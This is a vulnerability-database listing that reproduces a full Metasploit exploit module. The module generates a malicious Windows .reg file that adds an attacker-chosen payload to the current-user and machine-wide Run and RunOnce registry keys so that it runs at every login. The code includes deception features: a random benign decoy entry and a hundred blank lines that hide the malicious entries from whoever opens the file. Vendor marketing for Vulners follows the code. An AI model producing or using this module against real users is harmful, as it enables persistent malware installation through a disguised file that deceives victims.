Lucene search
K

📄 Malicious Windows Registration Entries (.reg) File

🗓️ 24 Jul 2025 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 97 Views

Creates a Windows Registry file (.reg) that runs a payload on user login with a warning prompt.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::FILEFORMAT
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Malicious Windows Registration Entries (.reg) File',
            'Description' => %q{
              This module creates a Windows Registration Entries (.reg) file which
              adds the specified payload to the Windows Registry. The payload runs
              upon Windows login for the current user. If the user has elevated
              privileges when opening the file, the payload will run upon login
              when any user logs in.
    
              The user will receive a warning prompt to confirm Registry changes
              when opening the file.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'bcoles'
            ],
            'References' => [
              ['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'],
              ['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
              ['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'],
              ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
              ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
            ],
            'Arch' => [ARCH_CMD],
            'Platform' => 'win',
            'Payload' => {
              'Space' => 244, # 255 minus "cmd.exe /c " prefix length
              'BadChars' => "\x00",
              'DisableNops' => true
            },
            'Targets' => [
              [
                'Microsoft Windows 2000 or newer',
                {
                  'RegistryEditorVersion' => '5.00'
                }
              ],
            ],
            'Privileged' => false,
            'DisclosureDate' => '1995-08-24',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'DisablePayloadHandler' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [SCREEN_EFFECTS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']),
          ]
        )
    
        register_advanced_options([
          OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]),
          OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
          OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]),
          OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
          OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]),
          OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]),
        ])
      end
    
      # Create a registry entry in Windows .reg file format
      def registry_entry(path, type, key, value)
        # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits
        raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255
        raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300
    
        # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types
        raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ'
    
        escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"')
        reg_entry = "[#{path}]\r\n"
        reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n"
        vprint_status("Created registry entry:\n#{reg_entry}")
        reg_entry
      end
    
      # Format commands for use with the appropriate interpreter
      def format_commands(command_string)
        # Strip preceding whitespace as this would prevent execution
        raw_cmd = command_string.to_s.gsub(/^\s*/, '')
    
        # If the payload contains " & " we presume it is a command string.
        #
        # TODO: Change this once Metasploit is able to inform a module that
        #       the specified ARCH_CMD payload is a string of commands
        #       (not a single command).
        if raw_cmd.include?(' & ')
          cmd = "cmd.exe /c #{raw_cmd}"
        else
          cmd = raw_cmd
        end
    
        raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255
    
        cmd
      end
    
      def exploit
        # File structure:
        #   File header string
        #   Benign registry entry (optional)
        #   Visual whitespace padding (optional)
        #   HKCU entries
        #   HKLM entries (optional)
        reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n"
        reg << "\r\n"
    
        reg_entries = []
    
        if datastore['PrependBenignEntry']
          path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}"
          key = rand_text_alphanumeric(10..16)
          reg << registry_entry(
            path,
            'REG_SZ',
            key,
            rand_text_alphanumeric(10..16)
          )
          reg_entries << path + '\\' + key
        end
    
        reg << "\r\n" * datastore['PrependNewLines']
    
        if datastore['AddToCurrentUserWindowsCurrentVersionRun']
          path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
          key = rand_text_alphanumeric(10..16)
          reg << registry_entry(
            path,
            'REG_SZ',
            key,
            format_commands(payload.encoded)
          )
          reg_entries << path + '\\' + key
        end
    
        if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce']
          path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
          key = rand_text_alphanumeric(10..16)
          reg << registry_entry(
            path,
            'REG_SZ',
            key,
            format_commands(payload.encoded)
          )
          reg_entries << path + '\\' + key
        end
    
        if datastore['AddToLocalMachineWindowsCurrentVersionRun']
          path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
          key = rand_text_alphanumeric(10..16)
          reg << registry_entry(
            path,
            'REG_SZ',
            key,
            format_commands(payload.encoded)
          )
          reg_entries << path + '\\' + key
        end
    
        if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce']
          path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
          key = rand_text_alphanumeric(10..16)
          reg << registry_entry(
            path,
            'REG_SZ',
            key,
            format_commands(payload.encoded)
          )
          reg_entries << path + '\\' + key
        end
    
        unless reg_entries
          fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.')
        end
    
        file_create(reg)
    
        print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}")
      rescue StandardError => e
        print_error(e.message)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2025 00:00Current
7.3High risk
Vulners AI Score7.3
97